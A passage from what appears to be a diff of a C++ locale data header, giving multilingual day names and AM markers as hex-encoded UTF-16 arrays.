0x3b, 0x4c, 0x61, 0x63, 0x68, 0x69, 0x74, 0x61, 0x74, 0x75, 0x3b, -0x4c, 0x61, 0x63, 0x68, 0x69, 0x6e, 0x61, 0x79, 0x69, 0x3b, 0x4c, 0x61, 0x63, 0x68, 0x69, 0x73, 0x61, 0x6e, 0x75, 0x3b, -0x4c, 0x6f, 0x77, 0x65, 0x72, 0x75, 0x6b, 0x61, 0x3b +0x3b, 0x4a, 0x6d, 0x6f, 0x3b, 0x4a, 0x75, 0x6d, 0x61, 0x70, 0x69, 0x6c, 0x79, 0x69, 0x3b, 0x4a, 0x75, 0x6d, 0x61, 0x74, +0x61, 0x74, 0x75, 0x75, 0x3b, 0x4a, 0x75, 0x6d, 0x61, 0x6e, 0x6e, 0x65, 0x3b, 0x4a, 0x75, 0x6d, 0x61, 0x74, 0x61, 0x6e, +0x75, 0x3b, 0x41, 0x6c, 0x68, 0x61, 0x6d, 0x69, 0x73, 0x69, 0x3b, 0x49, 0x6a, 0x75, 0x6d, 0x61, 0x61, 0x3b, 0x4a, 0x75, +0x6d, 0x61, 0x6d, 0x6f, 0x73, 0x69, 0x3b, 0x4a, 0x3b, 0x4a, 0x3b, 0x4a, 0x3b, 0x4a, 0x3b, 0x41, 0x3b, 0x49, 0x3b, 0x4a, +0x3b, 0x6b, 0x61, 0x72, 0x3b, 0x6e, 0x74, 0x25b, 0x3b, 0x74, 0x61, 0x72, 0x3b, 0x61, 0x72, 0x61, 0x3b, 0x61, 0x6c, 0x61, +0x3b, 0x6a, 0x75, 0x6d, 0x3b, 0x73, 0x69, 0x62, 0x3b, 0x6b, 0x61, 0x72, 0x69, 0x3b, 0x6e, 0x74, 0x25b, 0x6e, 0x25b, 0x3b, +0x74, 0x61, 0x72, 0x61, 0x74, 0x61, 0x3b, 0x61, 0x72, 0x61, 0x62, 0x61, 0x3b, 0x61, 0x6c, 0x61, 0x6d, 0x69, 0x73, 0x61, +0x3b, 0x6a, 0x75, 0x6d, 0x61, 0x3b, 0x73, 0x69, 0x62, 0x69, 0x72, 0x69, 0x3b, 0x4b, 0x3b, 0x4e, 0x3b, 0x54, 0x3b, 0x41, +0x3b, 0x41, 0x3b, 0x4a, 0x3b, 0x53, 0x3b, 0x4b, 0x6d, 0x61, 0x3b, 0x54, 0x61, 0x74, 0x3b, 0x49, 0x6e, 0x65, 0x3b, 0x54, +0x61, 0x6e, 0x3b, 0x41, 0x72, 0x6d, 0x3b, 0x4d, 0x61, 0x61, 0x3b, 0x4e, 0x4d, 0x4d, 0x3b, 0x4b, 0x69, 0x75, 0x6d, 0x69, +0x61, 0x3b, 0x4e, 0x6a, 0x75, 0x6d, 0x61, 0x74, 0x61, 0x74, 0x75, 0x3b, 0x4e, 0x6a, 0x75, 0x6d, 0x61, 0x69, 0x6e, 0x65, +0x3b, 0x4e, 0x6a, 0x75, 0x6d, 0x61, 0x74, 0x61, 0x6e, 0x6f, 0x3b, 0x41, 0x72, 0x61, 0x6d, 0x69, 0x74, 0x68, 0x69, 0x3b, +0x4e, 0x6a, 0x75, 0x6d, 0x61, 0x61, 0x3b, 0x4e, 0x4a, 0x75, 0x6d, 0x61, 0x6d, 0x6f, 0x74, 0x68, 0x69, 0x69, 0x3b, 0x4b, +0x3b, 0x4e, 0x3b, 0x4e, 0x3b, 0x4e, 0x3b, 0x41, 0x3b, 0x4d, 0x3b, 0x4e, 0x3b, 0x13c6, 0x13cd, 0x13ac, 0x3b, 0x13c9, 0x13c5, 0x13af, +0x3b, 0x13d4, 0x13b5, 0x13c1, 0x3b, 0x13e6, 0x13a2, 0x13c1, 0x3b, 0x13c5, 0x13a9, 0x13c1, 0x3b, 0x13e7, 0x13be, 0x13a9, 0x3b, 0x13c8, 0x13d5, 0x13be, +0x3b, 0x13a4, 0x13be, 0x13d9, 0x13d3, 0x13c6, 0x13cd, 0x13ac, 0x3b, 0x13a4, 0x13be, 0x13d9, 0x13d3, 0x13c9, 0x13c5, 0x13af, 0x3b, 0x13d4, 0x13b5, 0x13c1, +0x13a2, 0x13a6, 0x3b, 0x13e6, 0x13a2, 0x13c1, 0x13a2, 0x13a6, 0x3b, 0x13c5, 0x13a9, 0x13c1, 0x13a2, 0x13a6, 0x3b, 0x13e7, 0x13be, 0x13a9, 0x13b6, 0x13cd, +0x13d7, 0x3b, 0x13a4, 0x13be, 0x13d9, 0x13d3, 0x13c8, 0x13d5, 0x13be, 0x3b, 0x13c6, 0x3b, 0x13c9, 0x3b, 0x13d4, 0x3b, 0x13e6, 0x3b, 0x13c5, 0x3b, +0x13e7, 0x3b, 0x13a4, 0x3b, 0x64, 0x69, 0x6d, 0x3b, 0x6c, 0x69, 0x6e, 0x3b, 0x6d, 0x61, 0x72, 0x3b, 0x6d, 0x65, 0x72, 0x3b, +0x7a, 0x65, 0x3b, 0x76, 0x61, 0x6e, 0x3b, 0x73, 0x61, 0x6d, 0x3b, 0x64, 0x69, 0x6d, 0x61, 0x6e, 0x73, 0x3b, 0x6c, 0x69, +0x6e, 0x64, 0x69, 0x3b, 0x6d, 0x61, 0x72, 0x64, 0x69, 0x3b, 0x6d, 0x65, 0x72, 0x6b, 0x72, 0x65, 0x64, 0x69, 0x3b, 0x7a, +0x65, 0x64, 0x69, 0x3b, 0x76, 0x61, 0x6e, 0x64, 0x72, 0x65, 0x64, 0x69, 0x3b, 0x73, 0x61, 0x6d, 0x64, 0x69, 0x3b, 0x64, +0x3b, 0x6c, 0x3b, 0x6d, 0x3b, 0x6d, 0x3b, 0x7a, 0x3b, 0x76, 0x3b, 0x73, 0x3b, 0x4c, 0x6c, 0x32, 0x3b, 0x4c, 0x6c, 0x33, +0x3b, 0x4c, 0x6c, 0x34, 0x3b, 0x4c, 0x6c, 0x35, 0x3b, 0x4c, 0x6c, 0x36, 0x3b, 0x4c, 0x6c, 0x37, 0x3b, 0x4c, 0x6c, 0x31, +0x3b, 0x4c, 0x69, 0x64, 0x75, 0x76, 0x61, 0x20, 0x6c, 0x79, 0x61, 0x70, 0x69, 0x6c, 0x69, 0x3b, 0x4c, 0x69, 0x64, 0x75, +0x76, 0x61, 0x20, 0x6c, 0x79, 0x61, 0x74, 0x61, 0x74, 0x75, 0x3b, 0x4c, 0x69, 0x64, 0x75, 0x76, 0x61, 0x20, 0x6c, 0x79, +0x61, 0x6e, 0x63, 0x68, 0x65, 0x63, 0x68, 0x69, 0x3b, 0x4c, 0x69, 0x64, 0x75, 0x76, 0x61, 0x20, 0x6c, 0x79, 0x61, 0x6e, +0x6e, 0x79, 0x61, 0x6e, 0x6f, 0x3b, 0x4c, 0x69, 0x64, 0x75, 0x76, 0x61, 0x20, 0x6c, 0x79, 0x61, 0x6e, 0x6e, 0x79, 0x61, +0x6e, 0x6f, 0x20, 0x6e, 0x61, 0x20, 0x6c, 0x69, 0x6e, 0x6a, 0x69, 0x3b, 0x4c, 0x69, 0x64, 0x75, 0x76, 0x61, 0x20, 0x6c, +0x79, 0x61, 0x6e, 0x6e, 0x79, 0x61, 0x6e, 0x6f, 0x20, 0x6e, 0x61, 0x20, 0x6d, 0x61, 0x76, 0x69, 0x6c, 0x69, 0x3b, 0x4c, +0x69, 0x64, 0x75, 0x76, 0x61, 0x20, 0x6c, 0x69, 0x74, 0x61, 0x6e, 0x64, 0x69, 0x3b, 0x50, 0xed, 0x69, 0x6c, 0x69, 0x3b, +0x54, 0xe1, 0x61, 0x74, 0x75, 0x3b, 0xcd, 0x6e, 0x65, 0x3b, 0x54, 0xe1, 0x61, 0x6e, 0x6f, 0x3b, 0x41, 0x6c, 0x68, 0x3b, +0x49, 0x6a, 0x6d, 0x3b, 0x4d, 0xf3, 0x6f, 0x73, 0x69, 0x3b, 0x4a, 0x75, 0x6d, 0x61, 0x70, 0xed, 0x69, 0x72, 0x69, 0x3b, +0x4a, 0x75, 0x6d, 0x61, 0x74, 0xe1, 0x74, 0x75, 0x3b, 0x4a, 0x75, 0x6d, 0x61, 0xed, 0x6e, 0x65, 0x3b, 0x4a, 0x75, 0x6d, +0x61, 0x74, 0xe1, 0x61, 0x6e, 0x6f, 0x3b, 0x41, 0x6c, 0x61, 0x6d, 0xed, 0x69, 0x73, 0x69, 0x3b, 0x49, 0x6a, 0x75, 0x6d, +0xe1, 0x61, 0x3b, 0x4a, 0x75, 0x6d, 0x61, 0x6d, 0xf3, 0x6f, 0x73, 0x69, 0x3b, 0x50, 0x3b, 0x54, 0x3b, 0x45, 0x3b, 0x4f, +0x3b, 0x41, 0x3b, 0x49, 0x3b, 0x4d, 0x3b, 0x53, 0x61, 0x62, 0x3b, 0x42, 0x61, 0x6c, 0x3b, 0x4c, 0x77, 0x32, 0x3b, 0x4c, +0x77, 0x33, 0x3b, 0x4c, 0x77, 0x34, 0x3b, 0x4c, 0x77, 0x35, 0x3b, 0x4c, 0x77, 0x36, 0x3b, 0x53, 0x61, 0x62, 0x62, 0x69, +0x69, 0x74, 0x69, 0x3b, 0x42, 0x61, 0x6c, 0x61, 0x7a, 0x61, 0x3b, 0x4c, 0x77, 0x61, 0x6b, 0x75, 0x62, 0x69, 0x72, 0x69, +0x3b, 0x4c, 0x77, 0x61, 0x6b, 0x75, 0x73, 0x61, 0x74, 0x75, 0x3b, 0x4c, 0x77, 0x61, 0x6b, 0x75, 0x6e, 0x61, 0x3b, 0x4c, +0x77, 0x61, 0x6b, 0x75, 0x74, 0x61, 0x61, 0x6e, 0x6f, 0x3b, 0x4c, 0x77, 0x61, 0x6d, 0x75, 0x6b, 0x61, 0x61, 0x67, 0x61, +0x3b, 0x53, 0x3b, 0x42, 0x3b, 0x4c, 0x3b, 0x4c, 0x3b, 0x4c, 0x3b, 0x4c, 0x3b, 0x4c, 0x3b, 0x50, 0x61, 0x20, 0x4d, 0x75, +0x6c, 0x75, 0x6e, 0x67, 0x75, 0x3b, 0x50, 0x61, 0x6c, 0x69, 0x63, 0x68, 0x69, 0x6d, 0x6f, 0x3b, 0x50, 0x61, 0x6c, 0x69, +0x63, 0x68, 0x69, 0x62, 0x75, 0x6c, 0x69, 0x3b, 0x50, 0x61, 0x6c, 0x69, 0x63, 0x68, 0x69, 0x74, 0x61, 0x74, 0x75, 0x3b, +0x50, 0x61, 0x6c, 0x69, 0x63, 0x68, 0x69, 0x6e, 0x65, 0x3b, 0x50, 0x61, 0x6c, 0x69, 0x63, 0x68, 0x69, 0x73, 0x61, 0x6e, +0x6f, 0x3b, 0x50, 0x61, 0x63, 0x68, 0x69, 0x62, 0x65, 0x6c, 0x75, 0x73, 0x68, 0x69, 0x3b, 0x64, 0x75, 0x6d, 0x3b, 0x73, +0x69, 0x67, 0x3b, 0x74, 0x65, 0x72, 0x3b, 0x6b, 0x75, 0x61, 0x3b, 0x6b, 0x69, 0x6e, 0x3b, 0x73, 0x65, 0x73, 0x3b, 0x73, +0x61, 0x62, 0x3b, 0x64, 0x75, 0x6d, 0x69, 0x6e, 0x67, 0x75, 0x3b, 0x73, 0x69, 0x67, 0x75, 0x6e, 0x64, 0x61, 0x2d, 0x66, +0x65, 0x72, 0x61, 0x3b, 0x74, 0x65, 0x72, 0x73, 0x61, 0x2d, 0x66, 0x65, 0x72, 0x61, 0x3b, 0x6b, 0x75, 0x61, 0x72, 0x74, +0x61, 0x2d, 0x66, 0x65, 0x72, 0x61, 0x3b, 0x6b, 0x69, 0x6e, 0x74, 0x61, 0x2d, 0x66, 0x65, 0x72, 0x61, 0x3b, 0x73, 0x65, +0x73, 0x74, 0x61, 0x2d, 0x66, 0x65, 0x72, 0x61, 0x3b, 0x73, 0x61, 0x62, 0x61, 0x64, 0x75, 0x3b, 0x64, 0x3b, 0x73, 0x3b, +0x74, 0x3b, 0x6b, 0x3b, 0x6b, 0x3b, 0x73, 0x3b, 0x73, 0x3b, 0x4b, 0x49, 0x55, 0x3b, 0x4d, 0x52, 0x41, 0x3b, 0x57, 0x41, +0x49, 0x3b, 0x57, 0x45, 0x54, 0x3b, 0x57, 0x45, 0x4e, 0x3b, 0x57, 0x54, 0x4e, 0x3b, 0x4a, 0x55, 0x4d, 0x3b, 0x4b, 0x69, +0x75, 0x6d, 0x69, 0x61, 0x3b, 0x4d, 0x75, 0x72, 0x61, 0x6d, 0x75, 0x6b, 0x6f, 0x3b, 0x57, 0x61, 0x69, 0x72, 0x69, 0x3b, +0x57, 0x65, 0x74, 0x68, 0x61, 0x74, 0x75, 0x3b, 0x57, 0x65, 0x6e, 0x61, 0x3b, 0x57, 0x65, 0x74, 0x61, 0x6e, 0x6f, 0x3b, +0x4a, 0x75, 0x6d, 0x61, 0x6d, 0x6f, 0x73, 0x69, 0x3b, 0x4b, 0x3b, 0x4d, 0x3b, 0x57, 0x3b, 0x57, 0x3b, 0x57, 0x3b, 0x57, +0x3b, 0x4a, 0x3b, 0x54, 0x69, 0x73, 0x3b, 0x54, 0x61, 0x69, 0x3b, 0x41, 0x65, 0x6e, 0x3b, 0x53, 0x6f, 0x6d, 0x3b, 0x41, +0x6e, 0x67, 0x3b, 0x4d, 0x75, 0x74, 0x3b, 0x4c, 0x6f, 0x68, 0x3b, 0x42, 0x65, 0x74, 0x75, 0x74, 0x61, 0x62, 0x20, 0x74, +0x69, 0x73, 0x61, 0x70, 0x3b, 0x42, 0x65, 0x74, 0x75, 0x74, 0x20, 0x6e, 0x65, 0x74, 0x61, 0x69, 0x3b, 0x42, 0x65, 0x74, +0x75, 0x74, 0x61, 0x62, 0x20, 0x61, 0x65, 0x6e, 0x67, 0x27, 0x3b, 0x42, 0x65, 0x74, 0x75, 0x74, 0x61, 0x62, 0x20, 0x73, +0x6f, 0x6d, 0x6f, 0x6b, 0x3b, 0x42, 0x65, 0x74, 0x75, 0x74, 0x61, 0x62, 0x20, 0x61, 0x6e, 0x67, 0x27, 0x77, 0x61, 0x6e, +0x3b, 0x42, 0x65, 0x74, 0x75, 0x74, 0x61, 0x62, 0x20, 0x6d, 0x75, 0x74, 0x3b, 0x42, 0x65, 0x74, 0x75, 0x74, 0x61, 0x62, +0x20, 0x6c, 0x6f, 0x3b, 0x54, 0x3b, 0x54, 0x3b, 0x41, 0x3b, 0x53, 0x3b, 0x41, 0x3b, 0x4d, 0x3b, 0x4c, 0x3b, 0x53, 0x6f, +0x6e, 0x3b, 0x4d, 0x61, 0x3b, 0x44, 0x65, 0x3b, 0x57, 0x75, 0x3b, 0x44, 0x6f, 0x3b, 0x46, 0x72, 0x3b, 0x53, 0x61, 0x74, +0x3b, 0x53, 0x6f, 0x6e, 0x74, 0x61, 0x78, 0x74, 0x73, 0x65, 0x65, 0x73, 0x3b, 0x4d, 0x61, 0x6e, 0x74, 0x61, 0x78, 0x74, +0x73, 0x65, 0x65, 0x73, 0x3b, 0x44, 0x65, 0x6e, 0x73, 0x74, 0x61, 0x78, 0x74, 0x73, 0x65, 0x65, 0x73, 0x3b, 0x57, 0x75, +0x6e, 0x73, 0x74, 0x61, 0x78, 0x74, 0x73, 0x65, 0x65, 0x73, 0x3b, 0x44, 0x6f, 0x6e, 0x64, 0x65, 0x72, 0x74, 0x61, 0x78, +0x74, 0x73, 0x65, 0x65, 0x73, 0x3b, 0x46, 0x72, 0x61, 0x69, 0x74, 0x61, 0x78, 0x74, 0x73, 0x65, 0x65, 0x73, 0x3b, 0x53, +0x61, 0x74, 0x65, 0x72, 0x74, 0x61, 0x78, 0x74, 0x73, 0x65, 0x65, 0x73, 0x3b, 0x53, 0x3b, 0x4d, 0x3b, 0x45, 0x3b, 0x57, +0x3b, 0x44, 0x3b, 0x46, 0x3b, 0x41, 0x3b, 0x53, 0x75, 0x2e, 0x3b, 0x4d, 0x6f, 0x2e, 0x3b, 0x44, 0x69, 0x2e, 0x3b, 0x4d, +0x65, 0x2e, 0x3b, 0x44, 0x75, 0x2e, 0x3b, 0x46, 0x72, 0x2e, 0x3b, 0x53, 0x61, 0x2e, 0x3b, 0x53, 0x75, 0x6e, 0x6e, 0x64, +0x61, 0x61, 0x63, 0x68, 0x3b, 0x4d, 0x6f, 0x6f, 0x6e, 0x64, 0x61, 0x61, 0x63, 0x68, 0x3b, 0x44, 0x69, 0x6e, 0x6e, 0x73, +0x64, 0x61, 0x61, 0x63, 0x68, 0x3b, 0x4d, 0x65, 0x74, 0x77, 0x6f, 0x63, 0x68, 0x3b, 0x44, 0x75, 0x6e, 0x6e, 0x65, 0x72, +0x73, 0x64, 0x61, 0x61, 0x63, 0x68, 0x3b, 0x46, 0x72, 0x69, 0x69, 0x64, 0x61, 0x61, 0x63, 0x68, 0x3b, 0x53, 0x61, 0x6d, +0x73, 0x64, 0x61, 0x61, 0x63, 0x68, 0x3b, 0x4a, 0x75, 0x6d, 0x61, 0x70, 0xed, 0x6c, 0xed, 0x3b, 0x4a, 0x75, 0x6d, 0x61, +0x74, 0xe1, 0x74, 0x75, 0x3b, 0x4a, 0x75, 0x6d, 0x61, 0x6e, 0x65, 0x3b, 0x4a, 0x75, 0x6d, 0x61, 0x74, 0xe1, 0x6e, 0x254, +0x3b, 0x41, 0x6c, 0x61, 0xe1, 0x6d, 0x69, 0x73, 0x69, 0x3b, 0x4a, 0x75, 0x6d, 0xe1, 0x61, 0x3b, 0x4a, 0x75, 0x6d, 0x61, +0x6d, 0xf3, 0x73, 0x69, 0x3b, 0x53, 0x61, 0x62, 0x69, 0x3b, 0x42, 0x61, 0x6c, 0x61, 0x3b, 0x4b, 0x75, 0x62, 0x69, 0x3b, +0x4b, 0x75, 0x73, 0x61, 0x3b, 0x4b, 0x75, 0x6e, 0x61, 0x3b, 0x4b, 0x75, 0x74, 0x61, 0x3b, 0x4d, 0x75, 0x6b, 0x61, 0x3b, +0x53, 0x61, 0x62, 0x69, 0x69, 0x74, 0x69, 0x3b, 0x42, 0x61, 0x6c, 0x61, 0x7a, 0x61, 0x3b, 0x4f, 0x77, 0x6f, 0x6b, 0x75, +0x62, 0x69, 0x6c, 0x69, 0x3b, 0x4f, 0x77, 0x6f, 0x6b, 0x75, 0x73, 0x61, 0x74, 0x75, 0x3b, 0x4f, 0x6c, 0x6f, 0x6b, 0x75, +0x6e, 0x61, 0x3b, 0x4f, 0x6c, 0x6f, 0x6b, 0x75, 0x74, 0x61, 0x61, 0x6e, 0x75, 0x3b, 0x4f, 0x6c, 0x6f, 0x6d, 0x75, 0x6b, +0x61, 0x61, 0x67, 0x61, 0x3b, 0x53, 0x3b, 0x42, 0x3b, 0x42, 0x3b, 0x53, 0x3b, 0x4b, 0x3b, 0x4b, 0x3b, 0x4d, 0x3b, 0x4a, +0x32, 0x3b, 0x4a, 0x33, 0x3b, 0x4a, 0x34, 0x3b, 0x4a, 0x35, 0x3b, 0x41, 0x6c, 0x3b, 0x49, 0x6a, 0x3b, 0x4a, 0x31, 0x3b, +0x4a, 0x75, 0x6d, 0x61, 0x70, 0x69, 0x72, 0x69, 0x3b, 0x4a, 0x75, 0x6d, 0x61, 0x74, 0x61, 0x74, 0x75, 0x3b, 0x4a, 0x75, +0x6d, 0x61, 0x6e, 0x6e, 0x65, 0x3b, 0x4a, 0x75, 0x6d, 0x61, 0x74, 0x61, 0x6e, 0x6f, 0x3b, 0x4d, 0x75, 0x72, 0x77, 0x61, +0x20, 0x77, 0x61, 0x20, 0x4b, 0x61, 0x6e, 0x6e, 0x65, 0x3b, 0x4d, 0x75, 0x72, 0x77, 0x61, 0x20, 0x77, 0x61, 0x20, 0x4b, +0x61, 0x74, 0x61, 0x6e, 0x6f, 0x3b, 0x4a, 0x75, 0x6d, 0x61, 0x6d, 0x6f, 0x73, 0x69, 0x3b, 0x4a, 0x70, 0x69, 0x3b, 0x4a, +0x74, 0x74, 0x3b, 0x4a, 0x6e, 0x6e, 0x3b, 0x4a, 0x74, 0x6e, 0x3b, 0x41, 0x6c, 0x68, 0x3b, 0x49, 0x6a, 0x6d, 0x3b, 0x4a, +0x6d, 0x6f, 0x3b, 0x4a, 0x75, 0x6d, 0x3b, 0x42, 0x61, 0x72, 0x3b, 0x41, 0x61, 0x72, 0x3b, 0x55, 0x6e, 0x69, 0x3b, 0x55, +0x6e, 0x67, 0x3b, 0x4b, 0x61, 0x6e, 0x3b, 0x53, 0x61, 0x62, 0x3b, 0x4e, 0x61, 0x6b, 0x61, 0x65, 0x6a, 0x75, 0x6d, 0x61, +0x3b, 0x4e, 0x61, 0x6b, 0x61, 0x65, 0x62, 0x61, 0x72, 0x61, 0x73, 0x61, 0x3b, 0x4e, 0x61, 0x6b, 0x61, 0x61, 0x72, 0x65, +0x3b, 0x4e, 0x61, 0x6b, 0x61, 0x75, 0x6e, 0x69, 0x3b, 0x4e, 0x61, 0x6b, 0x61, 0x75, 0x6e, 0x67, 0x27, 0x6f, 0x6e, 0x3b, +0x4e, 0x61, 0x6b, 0x61, 0x6b, 0x61, 0x6e, 0x79, 0x3b, 0x4e, 0x61, 0x6b, 0x61, 0x73, 0x61, 0x62, 0x69, 0x74, 0x69, 0x3b, +0x4a, 0x3b, 0x42, 0x3b, 0x41, 0x3b, 0x55, 0x3b, 0x55, 0x3b, 0x4b, 0x3b, 0x53, 0x3b, 0x4e, 0x61, 0x62, 0x3b, 0x53, 0x61, +0x6e, 0x3b, 0x53, 0x61, 0x6c, 0x3b, 0x52, 0x61, 0x62, 0x3b, 0x43, 0x61, 0x6d, 0x3b, 0x4a, 0x75, 0x6d, 0x3b, 0x51, 0x75, +0x6e, 0x3b, 0x4e, 0x61, 0x62, 0x61, 0x20, 0x53, 0x61, 0x6d, 0x62, 0x61, 0x74, 0x3b, 0x53, 0x61, 0x6e, 0x69, 0x3b, 0x53, +0x61, 0x6c, 0x75, 0x73, 0x3b, 0x52, 0x61, 0x62, 0x75, 0x71, 0x3b, 0x43, 0x61, 0x6d, 0x75, 0x73, 0x3b, 0x4a, 0x75, 0x6d, +0x71, 0x61, 0x74, 0x61, 0x3b, 0x51, 0x75, 0x6e, 0x78, 0x61, 0x20, 0x53, 0x61, 0x6d, 0x62, 0x61, 0x74, 0x3b, 0x4e, 0x3b, +0x53, 0x3b, 0x53, 0x3b, 0x52, 0x3b, 0x43, 0x3b, 0x4a, 0x3b, 0x51, 0x3b, 0x41, 0x6c, 0x68, 0x3b, 0x41, 0x74, 0x69, 0x3b, +0x41, 0x74, 0x61, 0x3b, 0x41, 0x6c, 0x61, 0x3b, 0x41, 0x6c, 0x61, 0x3b, 0x41, 0x6c, 0x61, 0x3b, 0x41, 0x73, 0x73, 0x3b, +0x41, 0x6c, 0x68, 0x61, 0x64, 0x69, 0x3b, 0x41, 0x74, 0x69, 0x6e, 0x69, 0x3b, 0x41, 0x74, 0x61, 0x6c, 0x61, 0x74, 0x61, +0x3b, 0x41, 0x6c, 0x61, 0x72, 0x62, 0x61, 0x3b, 0x41, 0x6c, 0x68, 0x61, 0x6d, 0x69, 0x69, 0x73, 0x61, 0x3b, 0x41, 0x6c, +0x6a, 0x75, 0x6d, 0x61, 0x3b, 0x41, 0x73, 0x73, 0x61, 0x62, 0x64, 0x75, 0x3b, 0x48, 0x3b, 0x54, 0x3b, 0x54, 0x3b, 0x4c, +0x3b, 0x4c, 0x3b, 0x4c, 0x3b, 0x53, 0x3b, 0x4a, 0x4d, 0x50, 0x3b, 0x57, 0x55, 0x54, 0x3b, 0x54, 0x41, 0x52, 0x3b, 0x54, +0x41, 0x44, 0x3b, 0x54, 0x41, 0x4e, 0x3b, 0x54, 0x41, 0x42, 0x3b, 0x4e, 0x47, 0x53, 0x3b, 0x4a, 0x75, 0x6d, 0x61, 0x70, +0x69, 0x6c, 0x3b, 0x57, 0x75, 0x6f, 0x6b, 0x20, 0x54, 0x69, 0x63, 0x68, 0x3b, 0x54, 0x69, 0x63, 0x68, 0x20, 0x41, 0x72, +0x69, 0x79, 0x6f, 0x3b, 0x54, 0x69, 0x63, 0x68, 0x20, 0x41, 0x64, 0x65, 0x6b, 0x3b, 0x54, 0x69, 0x63, 0x68, 0x20, 0x41, +0x6e, 0x67, 0x27, 0x77, 0x65, 0x6e, 0x3b, 0x54, 0x69, 0x63, 0x68, 0x20, 0x41, 0x62, 0x69, 0x63, 0x68, 0x3b, 0x4e, 0x67, +0x65, 0x73, 0x6f, 0x3b, 0x4a, 0x3b, 0x57, 0x3b, 0x54, 0x3b, 0x54, 0x3b, 0x54, 0x3b, 0x54, 0x3b, 0x4e, 0x3b, 0x41, 0x73, +0x61, 0x3b, 0x41, 0x79, 0x6e, 0x3b, 0x41, 0x73, 0x6e, 0x3b, 0x41, 0x6b, 0x72, 0x3b, 0x41, 0x6b, 0x77, 0x3b, 0x41, 0x73, +0x6d, 0x3b, 0x41, 0x73, 0x1e0d, 0x3b, 0x41, 0x73, 0x61, 0x6d, 0x61, 0x73, 0x3b, 0x41, 0x79, 0x6e, 0x61, 0x73, 0x3b, 0x41, +0x73, 0x69, 0x6e, 0x61, 0x73, 0x3b, 0x41, 0x6b, 0x72, 0x61, 0x73, 0x3b, 0x41, 0x6b, 0x77, 0x61, 0x73, 0x3b, 0x41, 0x73, +0x69, 0x6d, 0x77, 0x61, 0x73, 0x3b, 0x41, 0x73, 0x69, 0x1e0d, 0x79, 0x61, 0x73, 0x3b, 0x41, 0x3b, 0x41, 0x3b, 0x41, 0x3b, +0x41, 0x3b, 0x41, 0x3b, 0x41, 0x3b, 0x41, 0x3b, 0x41, 0x6c, 0x68, 0x3b, 0x41, 0x74, 0x69, 0x3b, 0x41, 0x74, 0x61, 0x3b, +0x41, 0x6c, 0x61, 0x3b, 0x41, 0x6c, 0x6d, 0x3b, 0x41, 0x6c, 0x7a, 0x3b, 0x41, 0x73, 0x69, 0x3b, 0x41, 0x6c, 0x68, 0x61, +0x64, 0x69, 0x3b, 0x41, 0x74, 0x69, 0x6e, 0x6e, 0x69, 0x3b, 0x41, 0x74, 0x61, 0x6c, 0x61, 0x61, 0x74, 0x61, 0x3b, 0x41, +0x6c, 0x61, 0x72, 0x62, 0x61, 0x3b, 0x41, 0x6c, 0x68, 0x61, 0x6d, 0x69, 0x69, 0x73, 0x61, 0x3b, 0x41, 0x6c, 0x7a, 0x75, +0x6d, 0x61, 0x3b, 0x41, 0x73, 0x69, 0x62, 0x74, 0x69, 0x3b, 0x4a, 0x70, 0x69, 0x3b, 0x4a, 0x74, 0x74, 0x3b, 0x4a, 0x6d, +0x6e, 0x3b, 0x4a, 0x74, 0x6e, 0x3b, 0x41, 0x6c, 0x68, 0x3b, 0x49, 0x6a, 0x75, 0x3b, 0x4a, 0x6d, 0x6f, 0x3b, 0x4a, 0x75, +0x6d, 0x61, 0x61, 0x70, 0x69, 0x69, 0x3b, 0x4a, 0x75, 0x6d, 0x61, 0x61, 0x74, 0x61, 0x74, 0x75, 0x3b, 0x4a, 0x75, 0x6d, +0x61, 0x61, 0x6e, 0x65, 0x3b, 0x4a, 0x75, 0x6d, 0x61, 0x61, 0x74, 0x61, 0x6e, 0x6f, 0x3b, 0x41, 0x6c, 0x68, 0x61, 0x6d, +0x69, 0x73, 0x69, 0x3b, 0x49, 0x6a, 0x75, 0x6d, 0x61, 0x61, 0x3b, 0x4a, 0x75, 0x6d, 0x61, 0x61, 0x6d, 0x6f, 0x73, 0x69, +0x3b }; static const ushort am_data[] = { -0x41, 0x4d, 0x76, 0x6d, 0x2e, 0x50, 0x44, 0x635, 0x531, 0x57c, 0x2024, 0x9aa, 0x9c2, 0x9f0, 0x9cd, 0x9ac, 0x9be, 0x9aa, 0x9c2, 0x9b0, -0x9cd, 0x9ac, 0x9be, 0x9b9, 0x9cd, 0x9a3, 0x43f, 0x440, 0x2e, 0x20, 0x43e, 0x431, 0x2e, 0x434, 0x430, 0x20, 0x43f, 0x430, 0x43b, 0x443, -0x434, 0x43d, 0x44f, 0x1796, 0x17d2, 0x179a, 0x17b9, 0x1780, 0x4e0a, 0x5348, 0x64, 0x6f, 0x70, 0x2e, 0x66, 0x2e, 0x6d, 0x2e, 0x61, 0x2e, -0x6d, 0x2e, 0x61, 0x70, 0x2e, 0x76, 0x6f, 0x72, 0x6d, 0x2e, 0x3c0, 0x2e, 0x3bc, 0x2e, 0xaaa, 0xac2, 0xab0, 0xacd, 0xab5, 0xa0, -0xaae, 0xaa7, 0xacd, 0xaaf, 0xabe, 0xab9, 0xacd, 0xaa8, 0x5dc, 0x5e4, 0x5e0, 0x5d4, 0x22, 0x5e6, 0x92a, 0x942, 0x930, 0x94d, 0x935, 0x93e, -0x939, 0x94d, 0x928, 0x64, 0x65, 0x2e, 0x6d, 0x2e, 0x5348, 0x524d, 0xcaa, 0xcc2, 0xcb0, 0xccd, 0xcb5, 0xcbe, 0xcb9, 0xccd, 0xca8, 0xc624, -0xc804, 0x70, 0x72, 0x69, 0x65, 0x161, 0x70, 0x69, 0x65, 0x74, 0x51, 0x4e, 0x92e, 0x2e, 0x92a, 0x942, 0x2e, 0x66, 0x6f, 0x72, -0x6d, 0x69, 0x64, 0x64, 0x61, 0x67, 0x63a, 0x2e, 0x645, 0x2e, 0x642, 0x628, 0x644, 0x20, 0x627, 0x632, 0x20, 0x638, 0x647, 0x631, -0x41, 0x6e, 0x74, 0x65, 0x73, 0x20, 0x64, 0x6f, 0x20, 0x6d, 0x65, 0x69, 0x6f, 0x2d, 0x64, 0x69, 0x61, 0xa38, 0xa35, 0xa47, -0xa30, 0xa47, 0x43f, 0x440, 0x435, 0x43f, 0x43e, 0x434, 0x43d, 0x435, 0xdb4, 0xdd9, 0x2e, 0xdc0, 0x2e, 0x73, 0x6e, 0x66, 0x6d, 0xb95, -0xbbe, 0xbb2, 0xbc8, 0xc2a, 0xc42, 0xc30, 0xc4d, 0xc35, 0xc3e, 0xc39, 0xc4d, 0xc28, 0xc02, 0xe01, 0xe48, 0xe2d, 0xe19, 0xe40, 0xe17, 0xe35, -0xe48, 0xe22, 0xe07, 0x1295, 0x1309, 